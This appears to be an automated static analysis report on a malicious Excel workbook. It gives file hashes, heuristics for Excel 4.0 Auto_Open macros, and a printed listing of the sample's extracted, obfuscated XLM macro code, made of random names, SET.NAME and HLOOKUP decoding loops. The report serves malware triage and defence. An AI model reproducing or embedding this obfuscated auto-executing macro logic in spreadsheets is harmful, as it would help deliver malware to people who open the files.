Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81b69729023ce575…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:01 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: a4edffb4f96b5938d7cc51c3c8ab4f88 SHA-1: 21553618fe585ecbc18969c275fc0f9cfb26881b SHA-256: 81b69729023ce575d3e692e94e81ed5100a662e407131235f0368ebbedbaa3f7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6972 bytes
SHA-256: 7acb611df8579ed8b556bbedfcc5a5948a23f07bdb12562f0c8a5c96871b3a11
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  OGdZEIvwrHI
' 0018     24 LABEL : Cell Value, String Constant - AaQjppxLC len=0 
' 0018     22 LABEL : Cell Value, String Constant - ACniVvg len=0 
' 0018     25 LABEL : Cell Value, String Constant - aQnjCOIBxd len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H186 
' 0018     20 LABEL : Cell Value, String Constant - BJEaD len=0 
' 0018     25 LABEL : Cell Value, String Constant - bQeDqmVKpA len=0 
' 0018     23 LABEL : Cell Value, String Constant - HpEfHQOn len=0 
' 0018     24 LABEL : Cell Value, String Constant - jbrfCeFBG len=0 
' 0018     25 LABEL : Cell Value, String Constant - jlrxryrQuX len=0 
' 0018     23 LABEL : Cell Value, String Constant - KziVTjhF len=0 
' 0018     26 LABEL : Cell Value, String Constant - LbEEoRUwkGV len=0 
' 0018     25 LABEL : Cell Value, String Constant - muMQjdRlbR len=0 
' 0018     25 LABEL : Cell Value, String Constant - NEXQfGKikc len=0 
' 0018     23 LABEL : Cell Value, String Constant - oHjQfzew len=0 
' 0018     22 LABEL : Cell Value, String Constant - PQGPOlP len=0 
' 0018     25 LABEL : Cell Value, String Constant - pUCLVTchXQ len=0 
' 0018     24 LABEL : Cell Value, String Constant - TiGXyNNrV len=0 
' 0018     27 LABEL : Cell Value, String Constant - VYZAfEXAOhvO len=0 
' 0018     22 LABEL : Cell Value, String Constant - wFdlsgx len=0 
' 0018     27 LABEL : Cell Value, String Constant - WzVzwwAkqkvh len=0 
' 0018     24 LABEL : Cell Value, String Constant - zRLIlaBGY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  OGdZEIvwrHI,T50,"",-967.00000000000000000000
'  OGdZEIvwrHI,T51,"",418.00000000000000000000
'  OGdZEIvwrHI,T52,"",643.00000000000000000000
'  OGdZEIvwrHI,T53,"",-775.00000000000000000000
'  OGdZEIvwrHI,T54,"",141.00000000000000000000
'  OGdZEIvwrHI,T55,"",-778.00000000000000000000
'  OGdZEIvwrHI,H94,"SET.NAME("bQeDqmVKpA",0+VALUE("0"))",""
'  OGdZEIvwrHI,H97,"SET.NAME("LbEEoRUwkGV",bQeDqmVKpA)",""
'  OGdZEIvwrHI,H100,"SET.NAME("PQGPOlP",bQeDqmVKpA)",""
'  OGdZEIvwrHI,H103,"SET.NAME("aQnjCOIBxd",COUNTA(muMQjdRlbR))",""
'  OGdZEIvwrHI,H107,"SET.NAME("BJEaD",COUNTA(AaQjppxLC))",""
'  OGdZEIvwrHI,H109,[],""
'  OGdZEIvwrHI,H114,"SET.NAME("oHjQfzew","")",""
'  OGdZEIvwrHI,H118,"LbEEoRUwkGV",""
'  OGdZEIvwrHI,H123,"SET.NAME("HpEfHQOn",HLOOKUP("*",muMQjdRlbR,LbEEoRUwkGV,FALSE))",""
'  OGdZEIvwrHI,H126,"jbrfCeFBG",""
'  OGdZEIvwrHI,H130,"SET.NAME("KziVTjhF",bQeDqmVKpA)",""
'  OGdZEIvwrHI,H133,[],""
'  OGdZEIvwrHI,H137,"KziVTjhF",""
'  OGdZEIvwrHI,H141,"wFdlsgx",""
'  OGdZEIvwrHI,H143,"ACniVvg",""
'  OGdZEIvwrHI,H146,"jlrxryrQuX",""
'  OGdZEIvwrHI,H150,"SET.NAME("WzVzwwAkqkvh",VALUE(HLOOKUP("*",AaQjppxLC,jlrxryrQuX,FALSE)))",""
'  OGdZEIvwrHI,H153,"pUCLVTchXQ",""
'  OGdZEIvwrHI,H158,"oHjQfzew",""
'  OGdZEIvwrHI,H162,"PQGPOlP",""
'  OGdZEIvwrHI,H164,NEXT(),""
'  OGdZEIvwrHI,H167,"TiGXyNNrV",""
'  OGdZEIvwrHI,H170,[],""
'  OGdZEIvwrHI,H174,"zRLIlaBGY",""
'  OGdZEIvwrHI,H179,NEXT(),""
'  OGdZEIvwrHI,H183,RETURN(),""
'  OGdZEIvwrHI,H213,"SET.NAME("NEXQfGKikc",H94)",""
'  OGdZEIvwrHI,H218,"muMQjdRlbR",""
'  OGdZEIvwrHI,H220,"SET.NAME("AaQjppxLC",R78C14)",""
'  OGdZEIvwrHI,H223,"SET.NAME("zRLIlaBGY",231)",""
'  OGdZEIvwrHI,H227,"SET.NAME("VYZAfEXAOhvO",8)",""
'  OGdZEIvwrHI,H230,NEXQfGKikc(),""
'  OGdZEIvwrHI,H231,HALT(),""

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